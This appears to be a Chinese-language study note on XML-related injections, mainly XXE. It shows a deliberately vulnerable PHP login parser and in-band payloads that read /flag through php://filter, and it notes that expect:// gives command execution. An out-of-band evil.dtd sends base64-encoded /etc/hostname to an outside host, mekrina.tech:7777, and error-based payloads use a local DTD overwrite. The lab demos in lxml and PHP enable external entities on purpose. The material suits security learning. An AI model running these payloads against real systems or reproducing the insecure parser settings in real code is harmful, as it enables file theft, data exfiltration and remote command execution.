xml注入
参考xss注入
xpath注入
参考sql注入
xxe (xml外部实体引用)
有回显情况
$xmlfile=file_get_contents('php://input')
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
payload =
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
]>
<user>
<username>
&file;
</username>
<password>
whatever
</password>
</user>
其中&file;用于引用访问结果
如果环境中装有expect扩展,把php://filter/read=convert.base64-encode/resource=/flag换成
expect://ls可以实现任意命令执行.
无回显
出网
vps上部署evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://mekrina.tech:7777/?p=%file;'>">
%int;
%send;
这部分必须在vps上是因为 只有在 DTD 文件中,参数实体的声明才能引用其他实体 send前面的%必须要编码%#x25,可能如果不编码会被识别为参数,但找不到%send
上传的xml,<?xml ... ?>标签可有可无
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip:7777/evil.dtd">
%remote;
]>
<user>
<username>www</username>
<password></password>
</user>
实际数据视情况而定
<user>
<username>www</username>
<password></password>
</user>
疑问:
- 为什么vps的dtd文件中不能直接定义
<!ENTITY % send SYSTEM 'http://ip:7777?p=%file;' >然后执行%send;?
-> 因为实体里面不能嵌套,所以必须要用动态实体
- 为什么非得用远程dtd
-> 远程dtd是外部实体,要求宽松,允许实体嵌套,而内部实体不允许
不出网
报错?
php中不需要覆盖, 直接用如下payload
<!DOCTYPE foo [
<!ENTITY % xxx '
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%xxx;
]>
在其他解析器中可能报错The parameter entity reference "%file;" cannot occur within markup in the internal subset of the DTD.
就是说内部实体不能嵌套,此时可以采用如下方法,没复现成功
存在home/mekrina/tmp/sgyj/data.dtd, 其中包括一个dtd
<!ENTITY % constant 'int'>
这是可覆盖这个外部实体,即可使用嵌套实体,报错带出数据
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///home/mekrina/tmp/sgyj/data.dtd">
<!ENTITY % constant '
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
%constant;
]>
实验demo
python
from lxml import etree
xml_data = b"""<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip:7777/evil.dtd">
%remote;
]>
<user>
<username>www</username>
<password></password>
</user>
"""
parser = etree.XMLParser(
resolve_entities=True,
no_network=False,
)
try:
tree = etree.fromstring(xml_data, parser)
print(etree.tostring(tree).decode())
except Exception as e:
print(f"解析出错: {e}")
php
<?php
// 允许加载外部实体(这是 XXE 存在的关键)
libxml_disable_entity_loader(false);
$xml_data = file_get_contents("data.xml");
// 解析 XML。设置 LIBXML_NOENT 以替换实体,LIBXML_DTDLOAD 以加载 DTD
$dom = simplexml_load_string($xml_data, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDVALID); # LIBXML_NOENT 和 LIBXML_DTDVALID必须有一个